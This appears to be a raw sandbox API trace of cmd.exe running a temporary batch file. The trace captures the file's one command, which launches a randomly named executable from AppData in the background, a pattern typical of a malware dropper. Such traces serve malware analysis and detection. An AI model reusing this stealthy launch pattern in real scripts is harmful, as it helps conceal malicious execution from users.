GetModuleHandleW (lpModuleName=0x0) returned 0x49f20000 [0162.474] __set_app_type (_Type=0x1) [0162.477] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49f47810) returned 0x0 [0162.477] __getmainargs (in: _Argc=0x49f6a608, _Argv=0x49f6a618, _Env=0x49f6a610, _DoWildCard=0, _StartInfo=0x49f4e0f4 | out: _Argc=0x49f6a608, _Argv=0x49f6a618, _Env=0x49f6a610) returned 0 [0162.477] GetCurrentThreadId () returned 0x5d0 [0162.478] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x5d0) returned 0x3c [0162.478] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x779f0000 [0162.478] GetProcAddress (hModule=0x779f0000, lpProcName="SetThreadUILanguage") returned 0x77a06d40 [0162.478] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0162.478] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0162.478] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1cfbe8 | out: phkResult=0x1cfbe8*=0x0) returned 0x2 [0162.478] VirtualQuery (in: lpAddress=0x1cfbd0, lpBuffer=0x1cfb50, dwLength=0x30 | out: lpBuffer=0x1cfb50*(BaseAddress=0x1cf000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0162.478] VirtualQuery (in: lpAddress=0xd0000, lpBuffer=0x1cfb50, dwLength=0x30 | out: lpBuffer=0x1cfb50*(BaseAddress=0xd0000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0162.478] VirtualQuery (in: lpAddress=0xd1000, lpBuffer=0x1cfb50, dwLength=0x30 | out: lpBuffer=0x1cfb50*(BaseAddress=0xd1000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0162.478] VirtualQuery (in: lpAddress=0xd4000, lpBuffer=0x1cfb50, dwLength=0x30 | out: lpBuffer=0x1cfb50*(BaseAddress=0xd4000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0162.478] VirtualQuery (in: lpAddress=0x1d0000, lpBuffer=0x1cfb50, dwLength=0x30 | out: lpBuffer=0x1cfb50*(BaseAddress=0x1d0000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x40000, __alignment2=0x0)) returned 0x30 [0162.478] GetConsoleOutputCP () returned 0x1b5 [0162.479] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f5bfe0 | out: lpCPInfo=0x49f5bfe0) returned 1 [0162.479] SetConsoleCtrlHandler (HandlerRoutine=0x49f43184, Add=1) returned 1 [0162.479] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.479] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0162.480] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.480] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49f4e194 | out: lpMode=0x49f4e194) returned 1 [0162.480] _get_osfhandle (_FileHandle=1) returned 0x7 [0162.480] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0162.480] _get_osfhandle (_FileHandle=0) returned 0x3 [0162.480] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49f4e198 | out: lpMode=0x49f4e198) returned 1 [0162.481] _get_osfhandle (_FileHandle=0) returned 0x3 [0162.481] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0162.481] GetEnvironmentStringsW () returned 0x248af0* [0162.481] GetProcessHeap () returned 0x230000 [0162.481] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xa7c) returned 0x249580 [0162.481] FreeEnvironmentStringsW (penv=0x248af0) returned 1 [0162.481] GetProcessHeap () returned 0x230000 [0162.481] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x8) returned 0x248370 [0162.481] GetEnvironmentStringsW () returned 0x248af0* [0162.481] GetProcessHeap () returned 0x230000 [0162.481] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xa7c) returned 0x24a010 [0162.481] FreeEnvironmentStringsW (penv=0x248af0) returned 1 [0162.481] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ceaa8 | out: phkResult=0x1ceaa8*=0x44) returned 0x0 [0162.481] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ceaa0, lpData=0x1ceac0, lpcbData=0x1ceaa4*=0x1000 | out: lpType=0x1ceaa0*=0x0, lpData=0x1ceac0*=0x18, lpcbData=0x1ceaa4*=0x1000) returned 0x2 [0162.481] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ceaa0, lpData=0x1ceac0, lpcbData=0x1ceaa4*=0x1000 | out: lpType=0x1ceaa0*=0x4, lpData=0x1ceac0*=0x1, lpcbData=0x1ceaa4*=0x4) returned 0x0 [0162.482] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ceaa0, lpData=0x1ceac0, lpcbData=0x1ceaa4*=0x1000 | out: lpType=0x1ceaa0*=0x0, lpData=0x1ceac0*=0x1, lpcbData=0x1ceaa4*=0x1000) returned 0x2 [0162.482] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ceaa0, lpData=0x1ceac0, lpcbData=0x1ceaa4*=0x1000 | out: lpType=0x1ceaa0*=0x4, lpData=0x1ceac0*=0x0, lpcbData=0x1ceaa4*=0x4) returned 0x0 [0162.482] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ceaa0, lpData=0x1ceac0, lpcbData=0x1ceaa4*=0x1000 | out: lpType=0x1ceaa0*=0x4, lpData=0x1ceac0*=0x40, lpcbData=0x1ceaa4*=0x4) returned 0x0 [0162.482] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ceaa0, lpData=0x1ceac0, lpcbData=0x1ceaa4*=0x1000 | out: lpType=0x1ceaa0*=0x4, lpData=0x1ceac0*=0x40, lpcbData=0x1ceaa4*=0x4) returned 0x0 [0162.482] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ceaa0, lpData=0x1ceac0, lpcbData=0x1ceaa4*=0x1000 | out: lpType=0x1ceaa0*=0x0, lpData=0x1ceac0*=0x40, lpcbData=0x1ceaa4*=0x1000) returned 0x2 [0162.482] RegCloseKey (hKey=0x44) returned 0x0 [0162.482] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ceaa8 | out: phkResult=0x1ceaa8*=0x44) returned 0x0 [0162.482] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ceaa0, lpData=0x1ceac0, lpcbData=0x1ceaa4*=0x1000 | out: lpType=0x1ceaa0*=0x0, lpData=0x1ceac0*=0x40, lpcbData=0x1ceaa4*=0x1000) returned 0x2 [0162.482] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ceaa0, lpData=0x1ceac0, lpcbData=0x1ceaa4*=0x1000 | out: lpType=0x1ceaa0*=0x4, lpData=0x1ceac0*=0x1, lpcbData=0x1ceaa4*=0x4) returned 0x0 [0162.482] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ceaa0, lpData=0x1ceac0, lpcbData=0x1ceaa4*=0x1000 | out: lpType=0x1ceaa0*=0x0, lpData=0x1ceac0*=0x1, lpcbData=0x1ceaa4*=0x1000) returned 0x2 [0162.482] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ceaa0, lpData=0x1ceac0, lpcbData=0x1ceaa4*=0x1000 | out: lpType=0x1ceaa0*=0x4, lpData=0x1ceac0*=0x0, lpcbData=0x1ceaa4*=0x4) returned 0x0 [0162.482] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ceaa0, lpData=0x1ceac0, lpcbData=0x1ceaa4*=0x1000 | out: lpType=0x1ceaa0*=0x4, lpData=0x1ceac0*=0x9, lpcbData=0x1ceaa4*=0x4) returned 0x0 [0162.482] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ceaa0, lpData=0x1ceac0, lpcbData=0x1ceaa4*=0x1000 | out: lpType=0x1ceaa0*=0x4, lpData=0x1ceac0*=0x9, lpcbData=0x1ceaa4*=0x4) returned 0x0 [0162.482] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ceaa0, lpData=0x1ceac0, lpcbData=0x1ceaa4*=0x1000 | out: lpType=0x1ceaa0*=0x0, lpData=0x1ceac0*=0x9, lpcbData=0x1ceaa4*=0x1000) returned 0x2 [0162.482] RegCloseKey (hKey=0x44) returned 0x0 [0162.482] time (in: timer=0x0 | out: timer=0x0) returned 0x5dc46127 [0162.482] srand (_Seed=0x5dc46127) [0162.482] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\" /c C:\\Windows\\TEMP\\5fiae9.cmd" [0162.482] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\" /c C:\\Windows\\TEMP\\5fiae9.cmd" [0162.483] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f5c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0162.483] GetProcessHeap () returned 0x230000 [0162.483] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x218) returned 0x24aaa0 [0162.483] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x24aab0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0162.483] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f4f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0162.483] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f4f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.484] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f4f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0162.484] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0162.484] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0162.484] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0162.484] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0162.484] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0162.484] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0162.484] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0162.484] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0162.484] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0162.484] GetProcessHeap () returned 0x230000 [0162.484] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x249580 | out: hHeap=0x230000) returned 1 [0162.484] GetEnvironmentStringsW () returned 0x248af0* [0162.484] GetProcessHeap () returned 0x230000 [0162.484] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xa94) returned 0x24b760 [0162.484] FreeEnvironmentStringsW (penv=0x248af0) returned 1 [0162.484] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49f4f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0162.484] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49f4f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0162.484] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0162.484] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0162.484] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0162.484] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0162.484] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0162.484] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0162.484] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0162.484] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0162.485] GetProcessHeap () returned 0x230000 [0162.485] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x38) returned 0x2464e0 [0162.485] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1cf8b0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0162.485] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x1cf8b0, lpFilePart=0x1cf890 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x1cf890*="system32") returned 0x13 [0162.485] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0162.485] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x1cf5c0 | out: lpFindFileData=0x1cf5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdd0000dd, cFileName="Windows", cAlternateFileName="")) returned 0x248950 [0162.485] FindClose (in: hFindFile=0x248950 | out: hFindFile=0x248950) returned 1 [0162.485] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x1cf5c0 | out: lpFindFileData=0x1cf5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdd0000dd, cFileName="System32", cAlternateFileName="")) returned 0x248950 [0162.485] FindClose (in: hFindFile=0x248950 | out: hFindFile=0x248950) returned 1 [0162.485] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0162.485] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0162.485] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0162.485] GetProcessHeap () returned 0x230000 [0162.485] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24b760 | out: hHeap=0x230000) returned 1 [0162.485] GetEnvironmentStringsW () returned 0x248af0* [0162.485] GetProcessHeap () returned 0x230000 [0162.485] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xac4) returned 0x24acc0 [0162.485] FreeEnvironmentStringsW (penv=0x248af0) returned 1 [0162.486] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f5c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0162.486] GetProcessHeap () returned 0x230000 [0162.486] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2464e0 | out: hHeap=0x230000) returned 1 [0162.486] GetProcessHeap () returned 0x230000 [0162.486] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x4016) returned 0x24ccd0 [0162.584] GetProcessHeap () returned 0x230000 [0162.584] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x4a) returned 0x248950 [0162.585] GetProcessHeap () returned 0x230000 [0162.585] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24ccd0 | out: hHeap=0x230000) returned 1 [0162.585] GetConsoleOutputCP () returned 0x1b5 [0162.585] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f5bfe0 | out: lpCPInfo=0x49f5bfe0) returned 1 [0162.585] GetUserDefaultLCID () returned 0x409 [0162.585] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49f57b50, cchData=8 | out: lpLCData=":") returned 2 [0162.585] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1cf9c0, cchData=128 | out: lpLCData="0") returned 2 [0162.585] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1cf9c0, cchData=128 | out: lpLCData="0") returned 2 [0162.585] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1cf9c0, cchData=128 | out: lpLCData="1") returned 2 [0162.585] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49f6a740, cchData=8 | out: lpLCData="/") returned 2 [0162.585] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49f6a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0162.586] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49f6a460, cchData=32 | out: lpLCData="Tue") returned 4 [0162.586] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49f6a420, cchData=32 | out: lpLCData="Wed") returned 4 [0162.586] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49f6a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0162.586] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49f6a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0162.586] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49f6a360, cchData=32 | out: lpLCData="Sat") returned 4 [0162.586] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49f6a700, cchData=32 | out: lpLCData="Sun") returned 4 [0162.586] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49f57b40, cchData=8 | out: lpLCData=".") returned 2 [0162.586] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49f6a4e0, cchData=8 | out: lpLCData=",") returned 2 [0162.586] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0162.587] GetProcessHeap () returned 0x230000 [0162.587] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x20c) returned 0x24b800 [0162.587] GetConsoleTitleW (in: lpConsoleTitle=0x24b800, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0162.587] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x779f0000 [0162.587] GetProcAddress (hModule=0x779f0000, lpProcName="CopyFileExW") returned 0x77a023d0 [0162.587] GetProcAddress (hModule=0x779f0000, lpProcName="IsDebuggerPresent") returned 0x779f8290 [0162.587] GetProcAddress (hModule=0x779f0000, lpProcName="SetConsoleInputExeNameW") returned 0x77a017e0 [0162.640] GetProcessHeap () returned 0x230000 [0162.640] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x4012) returned 0x24ccd0 [0162.640] GetProcessHeap () returned 0x230000 [0162.640] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24ccd0 | out: hHeap=0x230000) returned 1 [0162.642] _wcsicmp (_String1="C:\\Windows\\TEMP\\5fiae9.cmd", _String2=")") returned 58 [0162.642] _wcsicmp (_String1="FOR", _String2="C:\\Windows\\TEMP\\5fiae9.cmd") returned 3 [0162.642] _wcsicmp (_String1="FOR/?", _String2="C:\\Windows\\TEMP\\5fiae9.cmd") returned 3 [0162.642] _wcsicmp (_String1="IF", _String2="C:\\Windows\\TEMP\\5fiae9.cmd") returned 6 [0162.642] _wcsicmp (_String1="IF/?", _String2="C:\\Windows\\TEMP\\5fiae9.cmd") returned 6 [0162.642] _wcsicmp (_String1="REM", _String2="C:\\Windows\\TEMP\\5fiae9.cmd") returned 15 [0162.642] _wcsicmp (_String1="REM/?", _String2="C:\\Windows\\TEMP\\5fiae9.cmd") returned 15 [0162.642] GetProcessHeap () returned 0x230000 [0162.642] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xb0) returned 0x24ba20 [0162.642] GetProcessHeap () returned 0x230000 [0162.642] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x46) returned 0x248b20 [0162.643] GetConsoleTitleW (in: lpConsoleTitle=0x1cf8d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0162.643] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.643] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.643] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x1cf460, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x1cf440, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x1cf440*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0162.643] GetProcessHeap () returned 0x230000 [0162.643] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x218) returned 0x249af0 [0162.643] GetProcessHeap () returned 0x230000 [0162.643] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x46) returned 0x248b70 [0162.643] _wcsnicmp (_String1="C:\\W", _String2="cmd ", _MaxCount=0x4) returned -51 [0162.644] GetProcessHeap () returned 0x230000 [0162.644] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x420) returned 0x24bae0 [0162.644] SetErrorMode (uMode=0x0) returned 0x0 [0162.644] SetErrorMode (uMode=0x1) returned 0x0 [0162.644] GetFullPathNameW (in: lpFileName="C:\\Windows\\TEMP\\.", nBufferLength=0x208, lpBuffer=0x24baf0, lpFilePart=0x1cf160 | out: lpBuffer="C:\\Windows\\TEMP", lpFilePart=0x1cf160*="TEMP") returned 0xf [0162.644] SetErrorMode (uMode=0x0) returned 0x1 [0162.644] GetProcessHeap () returned 0x230000 [0162.644] RtlReAllocateHeap (Heap=0x230000, Flags=0x0, Ptr=0x24bae0, Size=0x46) returned 0x24bae0 [0162.644] GetProcessHeap () returned 0x230000 [0162.644] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24bae0) returned 0x46 [0162.644] NeedCurrentDirectoryForExePathW (ExeName="C:\\Windows\\TEMP\\.") returned 1 [0162.644] GetProcessHeap () returned 0x230000 [0162.644] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x36) returned 0x2464e0 [0162.644] GetProcessHeap () returned 0x230000 [0162.644] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x58) returned 0x249d10 [0162.644] GetProcessHeap () returned 0x230000 [0162.644] RtlReAllocateHeap (Heap=0x230000, Flags=0x0, Ptr=0x249d10, Size=0x36) returned 0x249d10 [0162.644] GetProcessHeap () returned 0x230000 [0162.644] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x249d10) returned 0x36 [0162.644] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f4f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.644] GetProcessHeap () returned 0x230000 [0162.644] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xe8) returned 0x249d70 [0162.648] GetProcessHeap () returned 0x230000 [0162.648] RtlReAllocateHeap (Heap=0x230000, Flags=0x0, Ptr=0x249d70, Size=0x7e) returned 0x249d70 [0162.648] GetProcessHeap () returned 0x230000 [0162.648] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x249d70) returned 0x7e [0162.649] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.650] FindFirstFileExW (in: lpFileName="C:\\Windows\\TEMP\\5fiae9.cmd", fInfoLevelId=0x1, lpFindFileData=0x1ceed0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ceed0) returned 0x249e00 [0162.650] GetProcessHeap () returned 0x230000 [0162.650] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x28) returned 0x2445e0 [0162.650] FindClose (in: hFindFile=0x249e00 | out: hFindFile=0x249e00) returned 1 [0162.650] _wcsicmp (_String1=".cmd", _String2=".CMD") returned 0 [0162.650] GetConsoleTitleW (in: lpConsoleTitle=0x1cf420, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0162.650] GetProcessHeap () returned 0x230000 [0162.650] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1e8) returned 0x249e00 [0162.650] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef60000 [0162.655] GetProcAddress (hModule=0x7fefef60000, lpProcName="SaferIdentifyLevel") returned 0x7fefef7e470 [0162.655] IdentifyCodeAuthzLevelW () returned 0x1 [0162.660] GetProcAddress (hModule=0x7fefef60000, lpProcName="SaferComputeTokenFromLevel") returned 0x7fefef7f9b0 [0162.660] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0162.660] GetProcAddress (hModule=0x7fefef60000, lpProcName="SaferCloseLevel") returned 0x7fefef7f660 [0162.660] CloseCodeAuthzLevel () returned 0x1 [0162.660] SetErrorMode (uMode=0x0) returned 0x0 [0162.660] SetErrorMode (uMode=0x1) returned 0x0 [0162.660] GetFullPathNameW (in: lpFileName="C:\\Windows\\TEMP\\5fiae9.cmd", nBufferLength=0x104, lpBuffer=0x249b00, lpFilePart=0x1cf250 | out: lpBuffer="C:\\Windows\\TEMP\\5fiae9.cmd", lpFilePart=0x1cf250*="5fiae9.cmd") returned 0x1a [0162.660] SetErrorMode (uMode=0x0) returned 0x1 [0162.660] GetProcessHeap () returned 0x230000 [0162.660] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x46) returned 0x248cb0 [0162.660] CmdBatNotification () returned 0x0 [0162.661] CreateFileW (lpFileName="C:\\Windows\\TEMP\\5fiae9.cmd" (normalized: "c:\\windows\\temp\\5fiae9.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1cf2b8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c [0162.661] _open_osfhandle (_OSFileHandle=0x5c, _Flags=8) returned 3 [0162.661] _get_osfhandle (_FileHandle=3) returned 0x5c [0162.661] SetFilePointer (in: hFile=0x5c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.661] _get_osfhandle (_FileHandle=3) returned 0x5c [0162.661] SetFilePointer (in: hFile=0x5c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.661] ReadFile (in: hFile=0x5c, lpBuffer=0x49f5c320, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1cf0c0, lpOverlapped=0x0 | out: lpBuffer=0x49f5c320*, lpNumberOfBytesRead=0x1cf0c0*=0x79, lpOverlapped=0x0) returned 1 [0162.662] SetFilePointer (in: hFile=0x5c, lDistanceToMove=108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c [0162.662] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f5c320, cbMultiByte=108, lpWideCharStr=0x49f5e320, cchWideChar=8191 | out: lpWideCharStr="start /b C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS\r\n") returned 108 [0162.664] _get_osfhandle (_FileHandle=3) returned 0x5c [0162.664] GetFileType (hFile=0x5c) returned 0x1 [0162.664] _get_osfhandle (_FileHandle=3) returned 0x5c [0162.664] 